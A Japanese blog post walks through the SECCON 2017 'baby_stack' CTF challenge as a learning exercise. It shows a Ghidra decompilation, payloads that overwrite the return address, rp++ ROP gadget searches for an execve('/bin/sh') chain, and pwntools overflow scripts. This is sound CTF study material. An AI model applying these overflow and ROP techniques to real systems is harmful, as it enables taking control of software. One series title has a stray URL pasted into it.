以下の内容はhttps://daisuke20240310.hatenablog.com/entry/pwnableより取得しました。


入門セキュリティコンテスト(CTFを解きながら学ぶ実践技術)のPwnable問題をやってみる

前回 は、x86-64 ELF(Linux)のアセンブラを簡単なプログラムで理解しました。

本当は、先に今回の記事を書くつもりだったのですが、x86-64 ELF(Linux)のアセンブラが分からないと全然進まなかったので、前回の記事をはさみました。

今回は「入門セキュリティコンテストーーCTFを解きながら学ぶ実戦技術」で扱っている Pwnable の問題について、書籍を見ながら、実際に動かして、理解してみたいと思います。

それでは、やっていきます。

参考文献

はじめに

「セキュリティ」の記事一覧です。良かったら参考にしてください。

セキュリティの記事一覧
・第1回:Ghidraで始めるリバースエンジニアリング(環境構築編)
・第2回:Ghidraで始めるリバースエンジニアリング(使い方編)
・第3回:VirtualBoxにParrotOS(OVA)をインストールする
・第4回:tcpdumpを理解して出力を正しく見れるようにする
・第5回:nginx(エンジンエックス)を理解する
・第6回:Python+Flask(WSGI+Werkzeug+Jinja2)を動かしてみる
・第7回:Python+FlaskのファイルをCython化してみる
・第8回:shadowファイルを理解してパスワードを解読してみる
・第9回:安全なWebアプリケーションの作り方(徳丸本)の環境構築
・第10回:Vue.jsの2.xと3.xをVue CLIを使って動かしてみる(ビルドも行う)
・第11回:Vue.jsのソースコードを確認する(ビルド後のソースも見てみる)
・第12回:徳丸本:OWASP ZAPの自動脆弱性スキャンをやってみる
・第13回:徳丸本:セッション管理を理解してセッションID漏洩で成りすましを試す
・第14回:OWASP ZAPの自動スキャン結果の分析と対策:パストラバーサル
・第15回:OWASP ZAPの自動スキャン結果の分析と対策:クロスサイトスクリプティング(XSS)
・第16回:OWASP ZAPの自動スキャン結果の分析と対策:SQLインジェクション
・第17回:OWASP ZAPの自動スキャン結果の分析と対策:オープンリダイレクト
・第18回:OWASP ZAPの自動スキャン結果の分析と対策:リスク中すべて
・第19回:CTF初心者向けのCpawCTFをやってみた
・第20回:hashcatの使い方とGPUで実行したときの時間を見積もってみる
・第21回:Scapyの環境構築とネットワークプログラミング
・第22回:CpawCTF2にチャレンジします(この記事はクリア状況を随時更新します)
・第23回:K&Rのmalloc関数とfree関数を理解する
・第24回:C言語、アセンブラでシェルを起動するプログラムを作る(ARM64)
・第25回:機械語でシェルを起動するプログラムを作る(ARM64)
・第26回:入門セキュリhttps://github.com/SECCON/SECCON2017_online_CTF.gitティコンテスト(CTFを解きながら学ぶ実践技術)を読んだ
・第27回:x86-64 ELF(Linux)のアセンブラをGDBでデバッグしながら理解する(GDBコマンド、関連ツールもまとめておく)
・第28回:入門セキュリティコンテスト(CTFを解きながら学ぶ実践技術)のPwnable問題をやってみる ← 今回

入門セキュリティコンテストーーCTFを解きながら学ぶ実戦技術」(以下、参考文献)の Pwnable 問題で扱っているのは、SECCON 2017 オンライン予選で出題された問題で、「baby_stack」という問題です。

以下は、参考文献のサポートサイトです。問題ファイルがダウンロードできます。ch6/baby_stack.zip が今回の対象の問題です。

gihyo.jp

環境は、VirtualBox+ParrotOS 6.1 です。

それでは、やっていきます。

baby_stackの環境構築

上のURL から、問題文をダウンロードすると、baby_stack のファイルを入手することが出来ます。

「ch6/baby_stack/baby_stack-7b078c99bb96de6e5efc2b3da485a9ae8a66fd702b7139baf072ec32175076d8」ですが、ファイル名が長いので、「baby_stack」にファイル名を変更しました。

あとは、お題が書かれている「question.txt」を見てみます。伝統的なスタック攻撃ができるか?と書かれています。

$ cat question.txt 
Baby Stack
Can you do a traditional stack attack?

Host : baby_stack.pwn.seccon.jp
Port : 15285
baby_stack-7b078c99bb96de6e5efc2b3da485a9ae8a66fd702b7139baf072ec32175076d8

「baby_stack」ファイルと同じディレクトリに「ch6/baby_stack/flag.txt」を置いておきます。socatコマンドを使うことで、大会と同じ環境が構築できるようです。socatコマンドは、ParrotOS に最初から入っていました。

以下で、「baby_stack」が起動できます。fork, の後に、半角スペースが必要です。

起動したら、ターミナルに制御が返ってこないので、別のターミナルで lsofコマンドを使って、baby_stack が LISTEN してるかどうかを確認しました。正しく動いているようです。

$ socat tcp-listen:15285,reuseaddr,fork, EXEC:"./baby_stack"

$ lsof -i
COMMAND  PID USER   FD   TYPE DEVICE SIZE/OFF NODE NAME
socat   1868 user    5u  IPv4  36345      0t0  TCP *:15285 (LISTEN)

この環境は、すぐには使いません。最後は、baby_stack と通信してフラグを獲得することを目指すのですが、まずは、ローカルで baby_stack を動かします。例えば、baby_stack は、以下のように動作します。

まず、名前を聞かれます。名前を入力して、リターンキーを押すと、今度は、メッセージを要求されます。メッセージを入力して、リターンキーを押すと、「Thank you」と、自分の入力したメッセージが表示されます。

$ ./baby_stack 
Please tell me your name >> daisuke
Give me your message >> test
Thank you, daisuke!
msg : test

環境構築は以上です。

baby_stackをローカルで簡単に動かしてみる

まずは、baby_stack を簡単に調べます。x86 の 64bitプログラムで、デバッグ情報が付いています(シンボルが残ってる)。

$ file baby_stack 
baby_stack: ELF 64-bit LSB executable, x86-64, version 1 (SYSV),
statically linked, Go BuildID=bcdb5e02c0606a4c9dd06d1e0dc56dc8564db722,
with debug_info, not stripped

次に、スタック攻撃ということなので、スタックバッファオーバーフローを狙って、名前とメッセージの 2つの入力に対して、想定されている以上の長さの文字列を与えてみます。何文字を与えたかを、後で分からなくならないように、Python で文字列を作っておきます。

2個目のメッセージの入力でプログラムがクラッシュしました。最後の行で、Go言語で作られたプログラムであることが分かります。

$ python -c "print('A' * 200)"
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

$ ./baby_stack 
Please tell me your name >> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Give me your message >> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
panic: runtime error: growslice: cap out of range

goroutine 1 [running]:
panic(0x4e4800, 0xc82000a160)
    /usr/lib/go-1.6/src/runtime/panic.go:481 +0x3e6
fmt.(*fmt).padString(0xc820078ef8, 0x4141414141414141, 0x4141414141414141)
    /usr/lib/go-1.6/src/fmt/format.go:130 +0x406
fmt.(*fmt).fmt_s(0xc820078ef8, 0x4141414141414141, 0x4141414141414141)
    /usr/lib/go-1.6/src/fmt/format.go:322 +0x61
fmt.(*pp).fmtString(0xc820078ea0, 0x4141414141414141, 0x4141414141414141, 0xc800000073)
    /usr/lib/go-1.6/src/fmt/print.go:521 +0xdc
fmt.(*pp).printArg(0xc820078ea0, 0x4c1c00, 0xc82000a140, 0x73, 0x0, 0x0)
    /usr/lib/go-1.6/src/fmt/print.go:797 +0xd95
fmt.(*pp).doPrintf(0xc820078ea0, 0x5220a0, 0x18, 0xc82003dea8, 0x2, 0x2)
    /usr/lib/go-1.6/src/fmt/print.go:1238 +0x1dcd
fmt.Fprintf(0x7fe5a859e1c0, 0xc820082008, 0x5220a0, 0x18, 0xc82003dea8, 0x2, 0x2, 0x40beee, 0x0, 0x0)
    /usr/lib/go-1.6/src/fmt/print.go:188 +0x74
fmt.Printf(0x5220a0, 0x18, 0xc82003dea8, 0x2, 0x2, 0x20, 0x0, 0x0)
    /usr/lib/go-1.6/src/fmt/print.go:197 +0x94
main.main()
    /home/yutaro/CTF/SECCON/2017/baby_stack/baby_stack.go:23 +0x45e

私は、Go言語は使ったことはありませんが、最近よく使われている印象なので、いつかやってみようと思います。

Ghidraでソースコードを見てみる

参考文献では、IDA Pro を使っていますが、ここでは Ghidra を使ってソースコードを見てみます。IDA のフリー版を使う方法もありますが、フリー版は ARM に対応してなかったと思うので、まずは、Ghidra を使います。

Ghidra の環境構築と使い方については、以下で書いてるので参考にしてください。

daisuke20240310.hatenablog.com

daisuke20240310.hatenablog.com

Windows で Ghidra を起動して、プロジェクト名を「baby_stack」としてプロジェクトを作成します。baby_stack をインポートして解析を実行します。

私は、最初に Symbol Tree から見るのですが、Go言語だからなのか、Imports がうまく開けません。Exports を開くと、多すぎて見れないです。

次に、Functions を見ると、ma の下に、main関数らしいものが並んでいます。参考文献によると、Go言語では、main_main が、通常の main関数に相当するとのことです。うーん、main.main関数はありますが、main_main関数はありません。Ghidra だから参考文献と違うのかと思いましたが、stringsコマンドで main で grep しましたが、main_main はありませんでした。誤植かもしれませんね。

では、main.main関数を見てみます。

Ghidraでmain.main関数を開いたところ
Ghidraでmain.main関数を開いたところ

ちょっと長いですが、main.main関数を貼ります。

ざっと眺めたところ、bufio.(*Scanner).Scan(); というのが 2回出てきます。また、どちらも、その直前には、fmt.Printf(); とあります。これがそれぞれの入力を要求する文字列の表示と、入力待ちの処理かもしれません。

あと、Please tell me your name >>Give me your message >> という文字列があるはずなので、Ghidra の Window → Defined Strings を開いて、Please tell me your name >> を検索してみます。

見つかったのでクリックすると、定義されている場所が表示されます。XREF を見ると、main.main関数の 2か所から参照されています。1つ目をクリックすると、FUN_00455e6a関数が表示されます。すぐ近くに、もう1か所もあり、1つ目の bufio.(*Scanner).Scan(); の前なので、それっぽいです。この関数を tell_me_name と名前を変えておきます。

Give me your message >> の方も検索して、参照元を見ると、2個目の bufio.(*Scanner).Scan(); の前あたりの local_1f0 = (undefined8 **)0x18; と言われます。よく分かりませんが、目印になるように、local_1f0local_message と名前を変えておきます。

さらに、入力後に、Thank you と表示されますが、長い文字列を与えると、この文字列が表示される前にクラッシュします。つまり、上の2つの文字列入力の処理と、この Thank you と出力されるまでのどこかでクラッシュしてることになります。

では、Thank you を探します。最後の方でした。local_118 という変数がそれらしいので、この変数を local_thankyou と名前を変更しておきます。

2個目の bufio.(*Scanner).Scan(); と local_thankyou の間を見ていきます。関数っぽいのが、runtime.slicebytetostring();main.memcpy(__dest,in_RSI,__n);uVar3 = runtime.slicebytetostring();runtime.convT2E();runtime.writebarrierptr();runtime.convT2E(); と、6つあります。番号を振っておきます。Ghidra ではコメントを入れる機能があるようです。

Ghidra で追加できるコメントの種類は、EOL Comment、Pre Comment、Post Comment、Plate Comment、Repeatable Comment の5種類です。いずれも、アセンブラの方には、いい感じのコメントが作られるんですが、逆コンパイラした C言語のソースの方は、Pre Comment しか表示されないようです。

では、順番に見ていきます。1番目の runtime.slicebytetostring(); です。while文で、ひたすら runtime.morestack_noctxt(); を呼び出しているようですが、よく分かりません。

2番目の main.memcpy(__dest,in_RSI,__n); です。参考文献によると、ここにスタックバッファオーバーフローがあるようです。中に入ると、stdcall とあります。これは Windows API で使われる呼び出し規約らしく、引数は逆順にスタックに積まれるとのことです。

参考文献によると、コピー先のバッファが 32byte しか確保されてないため、スタックバッファオーバーフローが発生するとのことですが、具体的にどこで 32byte が確保されて、とかは、書かれてません。おそらく、だいぶ時間をかけて解析しないといけなさそうです。ここについては、断念します。一応、GDB で追いかけたかったのですが、うまく動きませんでした。おそらく、GDB で動かないように何らかの操作がされてそうです。

void main.main(void)

{
  ulong *puVar1;
  undefined4 uVar2;
  uint uVar3;
  undefined8 uVar4;
  size_t __n;
  void *in_RSI;
  undefined8 **__dest;
  long in_FS_OFFSET;
  undefined8 **local_1f0;
  ulong *local_1e8;
  ulong local_1e0;
  undefined8 *local_1d8;
  undefined8 local_1d0;
  undefined local_198 [16];
  undefined local_188 [16];
  undefined8 *local_178;
  undefined8 local_170;
  undefined8 local_168;
  undefined8 *local_160;
  undefined8 local_158;
  undefined8 *local_150;
  undefined8 local_148;
  undefined8 local_140;
  undefined8 local_138;
  undefined8 local_130;
  undefined8 local_128;
  ulong local_120;
  undefined8 *local_118;
  undefined8 *local_110;
  undefined8 local_108;
  long local_100;
  undefined8 local_f8;
  undefined8 *local_f0;
  undefined8 local_e8;
  undefined8 local_e0;
  undefined8 local_d8;
  undefined8 *local_d0;
  undefined8 local_c8;
  ulong local_c0;
  ulong *local_b8;
  undefined8 local_b0;
  undefined8 local_a8;
  ulong local_a0;
  undefined8 local_98;
  undefined8 local_90;
  undefined8 local_88;
  undefined8 local_80;
  undefined8 local_78;
  undefined **local_70;
  undefined8 local_68;
  undefined8 uStack_8;
  
  while( true ) {
    if (*(undefined8 ***)(*(long *)(in_FS_OFFSET + -8) + 0x10) < &local_178) break;
    uStack_8 = 0x4014eb;
    runtime.morestack_noctxt();
  }
  local_198 = ZEXT816(0);
  local_188 = ZEXT816(0);
  local_d0 = (undefined8 *)local_198;
  if (local_d0 == (undefined8 *)0x0) {
    local_198._0_4_ = (int)&local_178;
  }
  local_c8 = 0x20;
  local_c0 = 0x20;
  local_100 = go.itab.*os.File.io.Reader;
  if (go.itab.*os.File.io.Reader == 0) {
    local_1f0 = (undefined8 **)&DAT_004dfc00;
    local_1e8 = (ulong *)&go.itab.*os.File.io.Reader;
    runtime.typ2Itab();
    local_100 = local_1e0;
  }
  local_f8 = os.Stdin;
  uVar4 = os.Stdin;
  uVar2 = FUN_00455e6a(0,&local_80); // tell_me_name()
  local_178 = &local_80;
  if (local_178 == (undefined8 *)0x0) {
    local_80 = CONCAT44(local_80._4_4_,uVar2);
  }
  local_140 = FUN_00455e6a(0,local_178); // tell_me_name
  local_70 = &bufio.ScanLines.f;
  local_68 = 0x10000;
  local_1f0 = (undefined8 **)0x1c;
  local_1e8 = (ulong *)0x0;
  local_1e0 = 0;
  local_1d8 = (undefined8 *)0x0;
  local_138 = uVar4;
  local_80 = local_140;
  local_78 = uVar4;
  fmt.Printf();
  bufio.(*Scanner).Scan();
  local_170 = 0;
  local_168 = 0;
  if (local_178 == (undefined8 *)0x0) {
    _DAT_00000000 = 0;
  }
  local_1f0 = (undefined8 **)local_178[4];
  local_1e8 = (ulong *)local_178[5];
  local_1e0 = local_178[6];
  runtime.slicebytetostring();
  local_110 = local_1d8;
  local_108 = local_1d0;
  local_170 = local_1d8;
  local_130 = local_1d8;
  local_168 = local_1d0;
  local_128 = local_1d0;
  local_1f0 = (undefined8 **)0x18; // local_message
  local_1e8 = (ulong *)0x0;
  local_1e0 = 0;
  local_1d8 = (undefined8 *)0x0;
  fmt.Printf();
  bufio.(*Scanner).Scan();
  local_160 = (undefined8 *)0x0;
  local_158 = 0;
  if (local_178 == (undefined8 *)0x0) {
    _DAT_00000000 = 0;
  }
  __dest = &local_1f0;
  local_1f0 = (undefined8 **)local_178[4];
  local_1e8 = (ulong *)local_178[5];
  local_1e0 = local_178[6];
  runtime.slicebytetostring(); // (1)
  local_110 = local_1d8;
  local_108 = local_1d0;
  local_160 = local_1d8;
  local_150 = local_1d8;
  local_158 = local_1d0;
  local_148 = local_1d0;
  local_1f0 = (undefined8 **)local_1d8;
  local_1e8 = (ulong *)local_1d0;
  main.memcpy(__dest,in_RSI,__n); // (2)
  local_e0 = local_130;
  local_d8 = local_128;
  local_1f0 = (undefined8 **)local_d0;
  local_1e8 = (ulong *)local_c8;
  local_1e0 = local_c0;
  uVar3 = runtime.slicebytetostring(); // (3)
  local_f0 = local_1d8;
  local_e8 = local_1d0;
  local_a0 = 0;
  local_98 = 0;
  local_90 = 0;
  local_88 = 0;
  local_b8 = &local_a0;
  if (local_b8 == (ulong *)0x0) {
    local_a0 = (ulong)uVar3;
  }
  local_b0 = 2;
  local_a8 = 2;
  local_1f0 = (undefined8 **)&local_e0;
  local_1e8 = (ulong *)0x0;
  runtime.convT2E(); // (4)
  puVar1 = local_b8;
  local_118 = local_1d8;
  local_120 = local_1e0;
  *local_b8 = local_1e0;
  if (runtime.writeBarrier == '\0') {
    puVar1[1] = (ulong)local_118;
  }
  else {
    local_1f0 = (undefined8 **)local_118;
    runtime.writebarrierptr(); // (5)
  }
  local_1f0 = &local_f0;
  local_1e8 = (ulong *)0x0;
  runtime.convT2E(); // (6)
  local_120 = local_1e0;
  local_b8[2] = local_1e0;
  local_118 = local_1d8;
  if (runtime.writeBarrier == '\0') {
    local_b8[3] = (ulong)local_1d8; // local_thankyou
  }
  else {
    local_1f0 = (undefined8 **)local_1d8; // local_thankyou
    runtime.writebarrierptr();
  }
  local_1f0 = (undefined8 **)0x18;
  local_1e8 = local_b8;
  local_1e0 = local_b0;
  local_1d8 = (undefined8 *)local_a8;
  fmt.Printf();
  return;
}

スタックバッファオーバーフローを利用して戻りアドレスを上書きする

参考文献によると、main.memcpy関数を呼び出すときに、スタックに戻りアドレスをセットするので、スタックバッファオーバーフローで、その戻りアドレスを上書きすることで、任意のアドレスにジャンプさせることが出来るとあります。

確保された 32byte のバッファ(スタック)から、戻りアドレス(スタック)までには、376byte のアドレスの差があるとのことです。32+376=408byte に余計な文字列を書き、その次の 4byte が戻りアドレスになるので、そこに、まずは適当な値(0x41414141)を書いて動作させてみます。

0x41414141 にジャンプしようとして、無効なアドレスと検知されています。想定した通りに動作してそうです。

これで、0x41414141 をシェルを実行するアドレスに変えることが出来れば、侵入に成功しそうです。

$ python -c 'print("daisuke\n" + "\x00" * 408 + "\x41\x41\x41\x41")' | ./baby_stack
Please tell me your name >> Give me your message >> Thank you, !
msg : 
unexpected fault address 0x41414141
fatal error: fault
[signal 0xb code=0x1 addr=0x41414141 pc=0x41414141]

goroutine 1 [running]:
runtime.throw(0x507550, 0x5)
    /usr/lib/go-1.6/src/runtime/panic.go:547 +0x90 fp=0xc82003df00 sp=0xc82003dee8
runtime.sigpanic()
    /usr/lib/go-1.6/src/runtime/sigpanic_unix.go:27 +0x2ab fp=0xc82003df50 sp=0xc82003df00

checksecツールで脆弱性緩和技術を調べる

以前の記事「入門セキュリティコンテスト(CTFを解きながら学ぶ実践技術)を読んだ - 土日の勉強ノート」でも使ってみた checksec ツールを baby_stack を対象に実行してみます。

一応、公式サイトは以下です。

github.com

NX(No Execute)が有効なので、スタック上で実行はできない状況のようです。この場合、ROP(Return Oriented Programming)という手法を使う必要があるとのことです。

$ ../../tools/checksec.sh-2.7.1/checksec --file=./baby_stack
RELRO     STACK CANARY     NX          PIE     RPATH  RUNPATH  Symbols       FORTIFY  Fortified  Fortifiable  FILE
No RELRO  No canary found  NX enabled  No PIE  N/A    N/A      3496 Symbols  N/A      0          0            ./baby_stack

ROPガジェットを探すツールのrp++を使ってシェルを起動するコードを作る

ROP とは、「いくつかの命令+ret命令」というコードを複数探してきて、それらを組み合わせて、目的の動作を実現する手法です。

現在、戻りアドレスを自由にできる状況なので、そこに見つけてきたコード(1)のアドレスを書いておき、コード(1)を実行させます。コード(1)が ret命令で戻るときは、先ほどの戻りアドレスの次のアドレスが、コード(1)からの戻りアドレスになります。そこに、コード(2)のアドレスを書いておく、ということを繰り返して、任意のコードを実行することが出来ます。

その細かいコードのことは、ROPガジェットと呼ばれます。それを探してくれるのが、rp++ というツールです。では、実際に今回の状況で、rp++ を使って、任意のコードを実行してみます。

現状は、スタックバッファオーバーフローにより、任意のアドレスにジャンプさせることが出来る状況です。また、スタック領域の 32byte+376byte を自由に作る(先ほどは 0x00 を書いた)ことができる状況です。このスタック領域をうまく使って、シェルを実行することがやりたいことです。

以前の記事(「C言語、アセンブラでシェルを起動するプログラムを作る(ARM64) - 土日の勉強ノート」と「機械語でシェルを起動するプログラムを作る(ARM64) - 土日の勉強ノート」)で、シェルを起動するプログラムを作りました。これと同じことがやりたいわけです。

そのためには、システムコールを実行する execve関数を実行したいところです。x86-64 の場合のシステムコールの呼び出し方法は、第1引数は RDI、第2引数は RSI、第3引数は RDX が使われます。execve関数のシステムコール番号は「0x3b」で、RAX に格納しておきます。

参考書籍に、具体的な実装イメージが以下のように書かれています。

  1. 第1引数(RDI)に、BSS領域の先頭を指すアドレスを格納して、BSS領域の先頭に、"/bin/sh" を書き込む
  2. 第2引数(RSI)、第3引数(RDX)に 0 を格納する
  3. RAX に 0x3b を格納して、システムコール命令を呼び出す

これらを実現するための ROPガジェットを探していきます。

以下は、rp++ の GitHub です。Releases から最新のバージョンをダウンロードします。現在の最新バージョンは、v2.13 で、rp-lin-clang.zip と rp-lin-gcc.zip がありました。とりあえず、gcc の方から試します。

github.com

zipファイルを解凍すると、rp-lin というファイルが、1つだけ入っていました。とにかく使ってみます。まず、RDI を pop(スタックから取得する)する ROPガジェットを探します。理想的には、pop rdi; ret; です。

-f で、対象のプログラムを指定し、-r で、命令数を指定します。命令数はなるべく少ない方が使いやすいです(余計な命令が入らないため)。-r 3 としてみました。ret命令以外に、3個の命令という条件で探してくれるようです。3件ヒットしました。

まず、余計な命令が1つだけの3件目を確認します。命令の意味は、Claude(ChatGPT は新バージョンがどうのこうの言われたので)に聞きます。cl は RCX の最下位バイトのことでした。RAX さえケアすれば問題ないと判断します。

$ ../../tools/rp-lin -f ./baby_stack -r 3 | grep 'pop rdi'
0x44a282: pop rdi ; adc eax, 0x24448900 ; and byte [rcx], bh ; ret ; (1 found)
0x42274f: pop rdi ; add byte [rax], al ; add rsp, 0x20 ; ret ; (1 found)
0x470931: pop rdi ; or byte [rax+0x39], cl ; ret ; (1 found)

次に、RAX をケアするために、pop rax を探します。-r 3 で検索したところ、たくさんの pop rax; ret; がヒットしたので、一部だけ貼ります。どれを使っても同じです。

0x4016ea: pop rax ; ret ; (1 found)
0x4016f4: pop rax ; ret ; (1 found)
0x402bf3: pop rax ; ret ; (1 found)
0x407db9: pop rax ; ret ; (1 found)

先に、レジスタを自由に設定できるものから探します。次は、pop rsi を探します。これも一部だけ貼ります。いいのが見つかりました。

$ ../../tools/rp-lin -f ./baby_stack -r 1 | grep 'pop rsi'
0x46defd: pop rsi ; ret ; (1 found)
0x412a89: pop rsi ; retn 0x0FF2 ; (1 found)
0x412aa0: pop rsi ; retn 0x0FF2 ; (1 found)
0x415785: pop rsi ; retn 0x0FF2 ; (1 found)
0x41579c: pop rsi ; retn 0x0FF2 ; (1 found)

pop rdx を探します。ret命令ではなく、retn 0x0FF2 が見つかりました。Claude に聞いたところ、スタックを適切に調整するとのことで、ちょっと使いにくいです。-r 2 に範囲を広げて探します(-r 1 でヒットしたものは省いてます)。3番目にヒットしたものが RDI と同じ感じなので使いやすそうです。

$ ../../tools/rp-lin -f ./baby_stack -r 1 | grep 'pop rdx'
0x4599ca: pop rdx ; retn 0x0FF2 ; (1 found)
0x482b8c: pop rdx ; retn 0x0FF2 ; (1 found)
0x460fe0: pop rdx ; retn 0x0FF3 ; (1 found)
0x48594a: pop rdx ; retn 0x0FF3 ; (1 found)
0x4887d3: pop rdx ; retn 0x0FF3 ; (1 found)

$ ../../tools/rp-lin -f ./baby_stack -r 2 | grep 'pop rdx'
0x46ec93: pop rdx ; adc byte [rax-0x01], cl ; ret ; (1 found)
0x46ec9f: pop rdx ; adc byte [rax-0x01], cl ; ret ; (1 found)
0x4a247c: pop rdx ; or byte [rax-0x77], cl ; ret ; (1 found)
0x47b1fb: pop rdx ; push rax ; call rbx ; (1 found)
0x47b435: pop rdx ; push rax ; call rbx ; (1 found)
0x47b485: pop rdx ; push rax ; call rbx ; (1 found)

以上で、レジスタは自由に設定できそうなので、残りは、システムコールの呼び出しと、"/bin/sh" を BSS領域に書き込む命令を探します。まず、システムコールの呼び出しはたくさんヒットしたので、一部だけ貼ります。次に、BSS領域に書き込む命令は、Ghidra で逆アセンブラを見ながら考えます。mov qword で検索します。たくさんヒットした中で、使う予定のレジスタだけで構成されたものがあったので、それだけ貼ります。

$ ../../tools/rp-lin -f ./baby_stack -r 1 | grep 'syscall'
0x456889: syscall ; ret ; (1 found)
0x4569a2: syscall ; ret ; (1 found)
0x4569c2: syscall ; ret ; (1 found)
0x4569e3: syscall ; ret ; (1 found)
0x456c55: syscall ; ret ; (1 found)
0x456d85: syscall ; ret ; (1 found)

$ ../../tools/rp-lin -f ./baby_stack -r 1 | grep 'mov qword'
0x456499: mov qword [rdi], rax ; ret ; (1 found)
0x456828: mov qword [rdi], rax ; ret ; (1 found)

これで、実現するために必要な ROPガジェットは揃いました。

Exploitの実装を補助するPythonライブラリpwntoolsを使って実装する

参考書籍では、侵入、シェルの起動までを、Exploitコードとして、Pythonスクリプトでいきなり実装されていますが、こちらでは、まずは、ローカルの「baby_stack」を対象にして、Exploitコードを実装していきます。

Exploitコードの実装に便利な Python ライブラリの「pwntools」を使っていきます。公式サイトは以下です。普通に pip でインストールできそうです。

github.com

インストールします。成功しました。

$ pip install pwntools
Successfully installed MarkupSafe-2.1.5 bcrypt-4.2.0 capstone-5.0.3 colored-traceback-0.4.2 intervaltree-3.1.0 mako-1.3.5 packaging-24.1 paramiko-3.4.1 plumbum-1.8.3 pwntools-4.13.0 pyelftools-0.31 pygments-2.18.0 pynacl-1.5.0 pyserial-3.5 pysocks-1.7.1 python-dateutil-2.9.0.post0 ropgadget-7.4 rpyc-6.0.0 sortedcontainers-2.4.0 unicorn-2.0.1.post1 unix-ar-0.2.1 zstandard-0.23.0

200文字の「A」を与えるスクリプト

まずは、2つ目の入力に、200文字の「A」を与えるスクリプトを書きました。これをベースにやっていきます。

import os, sys
import argparse
import logging

from pwn import *

def main( args ):
    
    if args.ope is None:
        
        proc = prologue( args.prog )
        
        check_sof( proc )
    
    elif args.ope == "":
        
        pass
    
    else:
        raise

def prologue( prog ):
    
    # baby_stack起動
    proc = process( ['sh', '-c', prog] )
    
    # "Please tell me your name >> "
    logging.debug( proc.recv(timeout=1) )
    
    ss = b'daisuke'
    logging.debug( ss )
    proc.sendline( ss )
    
    # "Give me your message >> "
    logging.debug( proc.recv(timeout=1) )
    
    return proc

def check_sof( proc ):
    
    ss = b'A' * 200
    logging.debug( ss )
    proc.sendline( ss )
    
    # receive error
    logging.debug( proc.recv(timeout=1) )

def parse_args():
    
    parser = argparse.ArgumentParser( description='baby_stack' )
    
    parser.add_argument( '--ope',   default=None,        help='select operation, [None or ...]' )
    parser.add_argument( '--prog',  default=0,           help='input program path' )
    parser.add_argument( '--debug', action='store_true', help='debug' )
    
    return parser.parse_args()

if __name__ == '__main__':
    
    args = parse_args()
    print( f"args={args}" )
    
    if args.debug:
        logname = os.path.basename( sys.argv[0] )
        logname = os.path.splitext(logname)[0] + ".log"
        if os.path.isfile( logname ):
            os.remove( logname )
        logging.basicConfig( level=logging.DEBUG, filename=logname )
    else:
        logging.basicConfig( level=logging.INFO )
    
    main( args )

実行します。想定通りに動いてそうです。

$ python baby_stack.py --prog ../../../SECCON/baby_stack/baby_stack --debug
args=Namespace(ope=None, prog='../../../SECCON/baby_stack/baby_stack', debug=True)
[+] Starting local process '/usr/bin/sh': pid 80957
[*] Stopped process '/usr/bin/sh' (pid 80957)

$ cat baby_stack.log
INFO:pwnlib.tubes.process.process.140429691903248:Starting local process '/usr/bin/sh'
INFO:pwnlib.tubes.process.process.140429691903248:Starting local process '/usr/bin/sh': pid 80957
DEBUG:root:b'Please tell me your name >> '
DEBUG:root:b'daisuke'
DEBUG:root:b'Give me your message >> '
DEBUG:root:b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
DEBUG:root:b'panic: runtime error: growslice: cap out of range\n\ngoroutine 1 [running]:\npanic(0x4e4800, 0xc82000a380)\n\t/usr/lib/go-1.6/src/runtime/panic.go:481 +0x3e6\nfmt.(*fmt).padString(0xc82006efc8, 0x4141414141414141, 0x4141414141414141)\n\t/usr/lib/go-1.6/src/fmt/format.go:130 +0x406\nfmt.(*fmt).fmt_s(0xc82006efc8, 0x4141414141414141, 0x4141414141414141)\n\t/usr/lib/go-1.6/src/fmt/format.go:322 +0x61\nfmt.(*pp).fmtString(0xc82006ef70, 0x4141414141414141, 0x4141414141414141, 0xc800000073)\n\t/usr/lib/go-1.6/src/fmt/print.go:521 +0xdc\nfmt.(*pp).printArg(0xc82006ef70'
INFO:pwnlib.tubes.process.process.140429691903248:Stopped process '/usr/bin/sh' (pid 80957)

リターンアドレスに「0x41414141」を上書きするスクリプト

次は、リターンアドレスだけ、「0x41414141」を上書きするスクリプトです。

変更した main関数と、新しく作った overwrite_ret_adrs関数だけ貼ります。

def main( args ):
    
    if args.ope is None:
        
        proc = prologue( args.prog )
        
        check_sof( proc )
    
    elif args.ope == "overwrite_ret_adrs":
        
        proc = prologue( args.prog )
        
        adrs = b'\x41\x41\x41\x41'
        overwrite_ret_adrs( proc, adrs )
    
    else:
        raise

def overwrite_ret_adrs( proc, adrs ):
    
    ss = b'\x00' * 408 + adrs
    logging.debug( ss )
    proc.sendline( ss )
    
    # receive error
    logging.debug( proc.recv(timeout=1) )

実行します。想定通りに動いてそうです。

$ python baby_stack.py --ope overwrite_ret_adrs --prog ../../../SECCON/baby_stack/baby_stack --debug
args=Namespace(ope='overwrite_ret_adrs', prog='../../../SECCON/baby_stack/baby_stack', debug=True)
[+] Starting local process '/usr/bin/sh': pid 81006
[*] Stopped process '/usr/bin/sh' (pid 81006)

$ cat baby_stack.log
INFO:pwnlib.tubes.process.process.140014571198672:Starting local process '/usr/bin/sh'
